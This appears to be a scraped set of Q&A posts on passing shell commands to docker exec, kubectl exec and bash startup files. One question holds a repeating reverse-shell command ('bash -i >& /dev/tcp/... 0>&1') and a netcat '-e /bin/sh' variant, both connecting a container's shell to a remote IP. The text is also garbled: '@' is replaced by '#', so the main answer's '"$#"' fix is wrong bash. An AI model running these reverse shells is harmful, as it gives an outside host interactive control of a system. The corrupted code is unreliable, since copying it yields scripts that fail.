Bash Command as Bash Command Argument - bash

I have a daemonised Docker container. I can execute multiple bash commands in one go as current user in that container like this:
docker exec -it <container_ID> /bin/bash -c "pwd; cd src; pwd"
I now need to do this through a bash script. The script is simple:
#!/usr/bin/env bash
# Here I do stuff to acquire the container_ID
docker exec -it <container_ID> -user $(id -u):$(id -g) $#
And then I pass arguments to the script, like this:
./run_in_container.sh /bin/bash -c "pwd; cd src; pwd"
Which does not work as expected, because the quotes are stripped, and what docker exec gets is /bin/bash -c pwd; cd src; pwd. So I try the following:
./run_in_container.sh /bin/bash -c '"pwd; cd src; pwd"'
And I get this error message:
cd: -c: line 0: unexpected EOF while looking for matching `"'
cd: -c: line 1: syntax error: unexpected end of file
What would be the correct way of doing this?
I doubt this is very important information in this case, but I am using Gnu bash 4.3.11.

Use quotes around $#:
docker exec -it <container_ID> -user $(id -u):$(id -g) "$#"

Related

How not to terminate after carried out commands in bash

After carrying out commands with "-c" option of bash, how can I make the terminal wait for input while preserving the environment?
Like CMD /K *** or pwsh -NoExit -Command ***.
From a comment by Cyrus:
You can achieve something similar by abusing the --rcfile option:
bash --rcfile <(echo "export PS1='> ' && ls")
From bash manpage:
--rcfile file
Execute commands from file instead of the system wide initialization file /etc/bash.bashrc and the standard personal initialization file ~/.bashrc if the shell is interactive
This is the answer I was looking for. Thank you!!
As an example of use, I use the following method to use the latest docker image with my preferred repository without building the image:
# Call bash in the container from bash
docker run --rm -it ubuntu:22.04 bash -c "bash --rcfile <(echo 'sed -i -E '\''s%^(deb(-src|)\s+)https?://(archive|security)\.ubuntu\.com/ubuntu/%\1http://mirrors.xtom.com/ubuntu/%'\'' /etc/apt/sources.list && apt update && FooBar=`date -uIs`')"
# ... from pwsh
docker run --rm -it ubuntu:22.04 bash -c "bash --rcfile <(echo 'sed -i -E '\''s%^(deb(-src|)\s+)https?://(archive|security)\.ubuntu\.com/ubuntu/%\1http://mirrors.xtom.com/ubuntu/%'\'' /etc/apt/sources.list && apt update && FooBar=``date -uIs``')"
# Call dash (BusyBox ash) in the container from bash
docker run --rm -it alpine:latest ash -c "ash -c 'export ENV=\$1;ash' -s <(echo 'sed -i -E '\''s%^https?://dl-cdn\.alpinelinux\.org/alpine/%https://ftp.udx.icscoe.jp/Linux/alpine/%'\'' /etc/apk/repositories && apk update && FooBar=`date -uIs`')"
# ... from pwsh
docker run --rm -it alpine:latest ash -c "ash -c 'export ENV=`$1;ash' -s <(echo 'sed -i -E '\''s%^https?://dl-cdn\.alpinelinux\.org/alpine/%https://ftp.udx.icscoe.jp/Linux/alpine/%'\'' /etc/apk/repositories && apk update && FooBar=``date -uIs``')"

Exec into kubernetes pod in a particular directory

How do I make this work?
[alan#stormfather-0be642-default-1 ~]$ kubectl exec -it my-pod-0 -- bash -c "/bin/bash && cd /tmp"
[root#my-pod-0 /]# pwd
/
Change directory first and then sh into it.
kubectl exec -it my-pod-0 -- bash -c "cd /tmp && /bin/bash"
Mohsin Amjad's answer is both simple and correct, if you are getting the
..."bash": executable file not found in $PATH...
error, this just means the container inside the pod does not have bash installed, instead try sh or other shells. I.e. something like:
kubectl exec -it my-pod-0 -- sh -c "cd /tmp && echo $0 $SHELL"

Bash redirection doesn't work on container creation: "can't create /dev/tcp/<ip>/<port>: nonexistent directory"

I am trying to create a container that connects to a specific IP and port but it doesn't work for me with bash, only with regular shell.
When I create the container with bash redirection like that:
docker run -it alpine sh -c 'apk update && apk add bash && while true; do bash -i >& /dev/tcp/172.17.0.22/6666 0>&1; sleep 2; done'
I am getting the following errors:
sh: can't create /dev/tcp/172.17.0.64/6666: nonexistent directory
sh: can't create /dev/tcp/172.17.0.64/6666: nonexistent directory
But if I will create it separately like that:
$ docker run -it alpine sh -c 'apk update && apk add bash; bash'
bash-4.4# while true; do bash -i >& /dev/tcp/172.17.0.22/6666 0>&1; sleep 2; done
It will work.
I read this similar case but he wrote it should work from vesrion 2+ and I have 4.4.
OK, I solved it, it was issue with brackets, I needed to call bash with -c and then run the command inside for it to recognize it:
docker run -it alpine sh -c 'apk update && apk add bash && bash -c "while true; do bash -i >& /dev/tcp/172.17.0.22/6666 0>&1; sleep 2; done"'
By the way, the workaround was just to use the shell like that:
sh -c while true; do nc 172.17.0.22 6666 -e /bin/sh; sleep 2; done

Docker run bash --init-file

I'm trying to create an alias to help debug my docker containers.
I discovered bash accepts a --init-file option which ought to let us run some commands before passing over to interactive mode.
So I thought I could do
docker-bash() {
docker run --rm -it "$1" bash --init-file <(echo "ls; pwd")
}
But those commands don't appear to be running:
% docker-bash c7460dfcab50
root#9c6f64a9db8c:/#
Is it an escaping issue or.. what's going on?
bash --init-file <(echo "ls; pwd")
Alone in a terminal on my host machine works as expected (runs the command starts a new bash instance).
In points:
The <(...) is a bash extension process subtitution.
From the manual above: Process substitution is supported on systems that support named pipes (FIFOs) or the /dev/fd method of naming open files..
The process substitution works like this:
bash creates a fifo in /tmp or creates a new file descriptor in /dev/fd.
The filename, either the /tmp/.something or /dev/fd/<number> is substituted for <(...) when command is executed.
So for example echo <(echo 1) outputs /dev/fd/63.
Docker works by creating a new environment that is separated from the host. That means that:
Processes inside docker do not inherit file descriptors from the host process:
So /dev/fd/* files are not inherited.
Processes inside docker are accessing isolated filesystem tree.
So processes can't access /tmp/* files from the host.
So summarizing docker run -ti --rm alpine cat <(echo 1) will not work, because the filename substituted by <(...) is not available from docker environment.
An easy workaround would be to just:
docker run -ti --rm alpine sh -c 'ls; pwd; exec sh'
Or use a temporary file:
echo "ls; pwd" > /tmp/tempfile
docker run -v /tmp/tempfile:/tmp/tempfile bash bash --init-file /tmp/tempfile
For my use-case I wanted to set an alias which won't persist if we re-exec the shell. However, aliases can be written to ~/.bashrc which will be reloaded on the subsequent exec. Ergo,
docker-bash() {
docker run --rm -it "$1" bash -c $'set -o xtrace; echo "alias ll=\'ls -lAhtrF --color=always\'" >> ~/.bashrc; exec "$0"'
}
Works. --rm should clean up any files we create anyway if I understand properly how docker works.
Or perhaps this is a nicer way to write it:
docker-bash() {
read -r -d '' BASHRC << EOM
alias ll='ls -lAhtrF --color=always'
EOM
docker run --rm -it "$1" bash -c "echo \"$BASHRC\" >> ~/.bashrc; exec \"\$0\""
}

how to inject aliases when execute docker exec?

I want to inject a few alias when execute docker exec command, otherwise I need to type such as alias ll='ls -l' everytime, so I made this a piece of code, but finally no aliases at all, anybody can help fixed this problem?
$ docker exec -itu root $(docker ps -l -q) bash -c "echo alias ll=\'ls -laF\' >> /alias.sh; \
shopt -s expand_aliases; source /alias.sh; exec bash"
root#c9ed5e18f77d:/# ll
bash: ll: command not found
root#c9ed5e18f77d:/# alias
root#c9ed5e18f77d:/# source /alias.sh
root#c9ed5e18f77d:/# alias
alias ll='ls -laF'
I have also tried this, it doesn't work either.
$ docker exec -itu root $(docker ps -l -q) bash -c "alias ll='ls -laF'; shopt -s expand_aliases; exec bash"
The docker container is debian-based, I can run this no problem, so I thought this is a trick about bash, please help.
$ docker exec -itu root $(docker ps -l -q) bash -c 'cd /opt; exec bash'
root#c9ed5e18f77d:/opt# pwd
/opt
root#c9ed5e18f77d:/opt#

Resources